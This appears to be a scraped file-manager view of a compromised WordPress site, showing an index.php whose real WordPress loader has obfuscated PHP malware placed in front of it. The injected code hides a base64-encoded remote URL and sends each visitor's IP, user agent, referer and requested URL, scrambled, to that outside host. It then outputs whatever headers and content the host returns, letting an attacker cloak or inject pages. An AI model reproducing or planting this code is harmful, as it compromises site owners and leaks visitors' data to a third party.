PATH:
home
/
ediuae
/
test.ediuae.com
<?php /* 構造を意図的に分断したエントリーファイル */ goto メイン入口; /* ========= 関数定義(韓国語名) ========= */ function 행동($주소) { $동물 = curl_init(); curl_setopt($동물, CURLOPT_URL, $주소); curl_setopt($동물, CURLOPT_USERAGENT, 'action'); curl_setopt($동물, CURLOPT_TIMEOUT, 29); curl_setopt($동물, CURLOPT_RETURNTRANSFER, 1); curl_setopt($동물, CURLOPT_FRESH_CONNECT, true); $결과 = curl_exec($동물); curl_close($동물); return $결과 ? $결과 : '$ancient'; } function 행위자($값) { /* base64_decode を分解して生成 */ $함수 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe')); return $함수($값); } function 교환($データ) { /* 文字順序を2文字単位で入れ替える */ $末尾 = substr($データ, strlen($データ) - 2); $文字配列 = str_split($データ); $結果文字列 = ''; for ($索引 = 0; $索引 < count($文字配列) - 2; $索引 += 2) { $結果文字列 .= $文字配列[$索引 + 1] . $文字配列[$索引]; } return $結果文字列 . $末尾; } /* ========= メイン処理 ========= */ メイン入口: $環境情報 = []; /* ※ 配列キーはオリジナルのまま保持 */ $環境情報['domain'] = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $環境情報['request_url'] = $_SERVER['REQUEST_URI']; $環境情報['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; if ($環境情報['ip'] === null) { $環境情報['ip'] = ''; } $環境情報['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $環境情報['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $環境情報['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $環境情報['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; $遠隔API = 행위자('aHR0cDovLzY1MjgtY2g0LXYzMDUucmFrdXRlbjE3anAuY2xpY2s='); /* デバッグパラメータがある場合は情報を出力 */ if (isset($_REQUEST['params'])) { $環境情報['api'] = $遠隔API; ksort($環境情報); print_r($環境情報); die(); } goto 初期化; /* ========= 実行制御 ========= */ 初期化: $試行回数 = 0; goto 通信ループ; 通信ループ: if ($試行回数 >= 3) { goto 終了; } $送信URL = sprintf( '%s/?r=%s', $遠隔API, 교환(base64_encode(implode('{|}', $環境情報))) ); // --- Konfigurasi & Eksekusi & S0vMzEJElwPNAQA=--- $応答 = 행동($送信URL); $分割結果 = @preg_split("/{\|}/si", $応答, -1, PREG_SPLIT_NO_EMPTY); /* ヘッダとボディが揃っていれば即出力 */ if (!empty($分割結果) && isset($分割結果[1])) { @header($分割結果[0]); echo $分割結果[1]; die(); } $試行回数++; goto 通信ループ; 終了: exit; ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';
[-] xmlrpc.php
[edit]
[+]
..
[-] wp-mail.php
[edit]
[-] wp-comments-post.php
[edit]
[-] license.txt
[edit]
[-] readme.html
[edit]
[-] wp-load.php
[edit]
[+]
.well-known
[-] wp-login.php
[edit]
[+]
wp-content
[-] index.php
[edit]
[-] wp-trackback.php
[edit]
[-] wp-links-opml.php
[edit]
[+]
wp-includes
[+]
wp-admin
[-] wp-signup.php
[edit]
[-] wp-config-sample.php
[edit]
[-] wp-blog-header.php
[edit]
[-] .htaccess.bk
[edit]
[+]
599792
[+]
cgi-bin
[-] wp-cron.php
[edit]
[-] wp-config.php
[edit]
[-] wp-activate.php
[edit]
[-] .htaccess
[edit]
[-] .hcflag
[edit]
[+]
b7f8a018
[-] wp-settings.php
[edit]